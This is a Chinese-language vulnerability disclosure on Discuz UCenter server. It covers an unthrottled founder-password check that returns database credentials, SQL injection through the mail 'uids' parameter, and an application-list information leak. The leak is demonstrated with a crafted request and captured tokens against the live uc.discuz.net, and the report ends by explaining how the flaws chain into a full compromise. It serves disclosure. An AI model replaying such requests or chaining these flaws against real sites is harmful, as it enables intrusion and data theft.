### 简要描述:
一个有条件的SQL注射和两个小问题。
### 详细说明:
1,暴力破解。
ucserver的默认管理员登录需要输入验证码,并且还有登录次数的限制,但是在:
/control/app.php 内是没有限制登录的次数的
```
function onadd() {
		$ucfounderpw = getgpc('ucfounderpw', 'P');
		$apptype = getgpc('apptype', 'P');
		$appname = getgpc('appname', 'P');
		$appurl = getgpc('appurl', 'P');
		$appip = getgpc('appip', 'P');
		$viewprourl = getgpc('viewprourl', 'P');
		$appcharset = getgpc('appcharset', 'P');
		$appdbcharset = getgpc('appdbcharset', 'P');
		$apptagtemplates = getgpc('apptagtemplates', 'P');
		$appallowips = getgpc('allowips', 'P');
		if(md5(md5($ucfounderpw).UC_FOUNDERSALT) == UC_FOUNDERPW || (strlen($ucfounderpw) == 32 && $ucfounderpw == md5(UC_FOUNDERPW))) {
```
只要登录的密码符合,就可以添加一个客户端连接到ucserver并且分配一个uckey和数据库信息。
```
else {
				//$return = "UC_STATUS_OK|$app[authkey]|$app[appid]|".UC_DBHOST.'|'.UC_DBNAME.'|'.UC_DBUSER.'|'.UC_DBPW.'|'.UC_DBCHARSET.'|'.UC_DBTABLEPRE.'|'.UC_CHARSET;
				$return = "$app[authkey]|$app[appid]|".UC_DBHOST.'|'.UC_DBNAME.'|'.UC_DBUSER.'|'.UC_DBPW.'|'.UC_DBCHARSET.'|'.UC_DBTABLEPRE.'|'.UC_CHARSET;
			}
```
2,已知客户端的uckey的情况下,对ucserver进行SQL注射
代码在:
/control/mail.php 中
```
function onadd() {
		$this->load('mail');
		$mail = array();
		$mail['appid']		= $this->app['appid'];
		$mail['uids']		= explode(',', $this->input('uids'));
		$mail['emails']		= explode(',', $this->input('emails'));
		$mail['subject']	= $this->input('subject');
		$mail['message']	= $this->input('message');
		$mail['charset']	= $this->input('charset');
		$mail['htmlon']		= intval($this->input('htmlon'));
		$mail['level']		= abs(intval($this->input('level')));
		$mail['frommail']	= $this->input('frommail');
		$mail['dateline']	= $this->time;
		return $_ENV['mail']->add($mail);
	}
```
$mail['uids']		= explode(',', $this->input('uids'));
这句代码中的$mail['uids']最后进到了SQL语句里,相应的代码在:
model/mail.php里有:
```
$mail['email_to'] = array();
			$uids = 0;
			foreach($mail['uids'] as $uid) {
				if(empty($uid)) continue;
				$uids .= ','.$uid;
			}
			$users = $this->db->fetch_all("SELECT uid, username, email FROM ".UC_DBTABLEPRE."members WHERE uid IN ($uids)");
```
$mail['email_to']被拼到$uids里最后导致了SQL注射。
3,信息泄漏,泄漏ucserver内的客户端应用和相应版本
代码在:
control/app.php 内
```
function onls() {
		$this->init_input();
		$applist = $_ENV['app']->get_apps('appid, type, name, url, tagtemplates, viewprourl, synlogin');
		$applist2 = array();
		foreach($applist as $key => $app) {
			$app['tagtemplates'] = $this->unserialize($app['tagtemplates']);
			$applist2[$app['appid']] = $app;
		}
		return $applist2;
	}
```
所以只要$this->init_input();能正确运行,那么就会抛出ucserver里面的应用和相应的版本号。
正好上传头像的api是存在$this->input()所需要的信息的,我们拿官方做个实验。
登录后访问:
http://www.discuz.net/home.php?mod=spacecp&ac=avatar
[<img src="https://images.seebug.org/upload/201406/192039539c9c850e4b51ee9e707af3ab0cb65d22.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/192039539c9c850e4b51ee9e707af3ab0cb65d22.jpg)
获得
```
http://uc.discuz.net/images/camera.swf?inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=uc.discuz.net&avatartype=virtual&uploadSize=2048
```
抠出我们要的东西
```
?inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=uc.discuz.net&avatartype=virtual&uploadSize=2048
```
拼一下,得到:
http://uc.discuz.net/index.php?m=app&a=ls&inajax=1&appid=13&input=2b310Oraxl%2BiVL8yXhYy7pJ5DkQOPHYLt2FRsTEIyOD3PMtxkbn%2FDKkzssQgMWYlBirpQPsYOuN4vT9J5mZF7V6Q%2BRD3A8GK9uBTSj8%2FCEOGkPH959sDeep%2FiFag6X8&agent=569b93c7d7e18a505d671ba495198a3a&ucapi=uc.discuz.net&avatartype=virtual&uploadSize=2048
访问得到:
```
<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
	<item id="14">
		<item id="appid"><![CDATA[14]]></item>
		<item id="type"><![CDATA[UCHOME]]></item>
		<item id="name"><![CDATA[uchome]]></item>
		<item id="url"><![CDATA[http://u.discuz.net/home]]></item>
		<item id="tagtemplates">
			<item id="template"><![CDATA[]]></item>
		</item>
		<item id="viewprourl"><![CDATA[]]></item>
		<item id="synlogin"><![CDATA[0]]></item>
	</item>
	<item id="9">
		<item id="appid"><![CDATA[9]]></item>
		<item id="type"><![CDATA[OTHER]]></item>
		<item id="name"><![CDATA[Manyou_UChome]]></item>
		<item id="url"><![CDATA[http://uchome.developer.manyou.com/uchome]]></item>
		<item id="tagtemplates">
			<item id="template"><![CDATA[]]></item>
		</item>
		<item id="viewprourl"><![CDATA[/space.php?uid=%s]]></item>
		<item id="synlogin"><![CDATA[1]]></item>
	</item>
	<item id="11">
		<item id="appid"><![CDATA[11]]></item>
		<item id="type"><![CDATA[OTHER]]></item>
		<item id="name"><![CDATA[手握手]]></item>
		<item id="url"><![CDATA[http://sws.discuz.net/]]></item>
		<item id="tagtemplates">
			<item id="template"><![CDATA[]]></item>
		</item>
		<item id="viewprourl"><![CDATA[]]></item>
		<item id="synlogin"><![CDATA[0]]></item>
	</item>
	<item id="13">
		<item id="appid"><![CDATA[13]]></item>
		<item id="type"><![CDATA[]]></item>
		<item id="name"><![CDATA[Discuz!]]></item>
		<item id="url"><![CDATA[http://www.discuz.net/]]></item>
		<item id="tagtemplates">
			<item id="template"><![CDATA[<a href="{url}?sid=" target="_blank">{subject}</a>]]></item>
			<item id="fields">
				<item id="subject"><![CDATA[标题]]></item>
				<item id="uid"><![CDATA[用户 ID]]></item>
				<item id="username"><![CDATA[发帖者]]></item>
				<item id="dateline"><![CDATA[日期]]></item>
				<item id="url"><![CDATA[主题地址]]></item>
			</item>
		</item>
		<item id="viewprourl"><![CDATA[]]></item>
		<item id="synlogin"><![CDATA[1]]></item>
	</item>
</root>
```
[<img src="https://images.seebug.org/upload/201406/192043280ea49147feecbfb1eea35aabf463665f.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/192043280ea49147feecbfb1eea35aabf463665f.jpg)
 
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201406/192043280ea49147feecbfb1eea35aabf463665f.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/192043280ea49147feecbfb1eea35aabf463665f.jpg)
整个其实危害还是挺大的:
如果你能暴力出来一个ucserver的管理员密码,你就可以把ucserver和uclient黑了。
如果你能黑掉你列出来的任何一个uclient的应用,你就可以拿应用的uckey对ucserver注射。 
                       
                       
        
          
暂无评论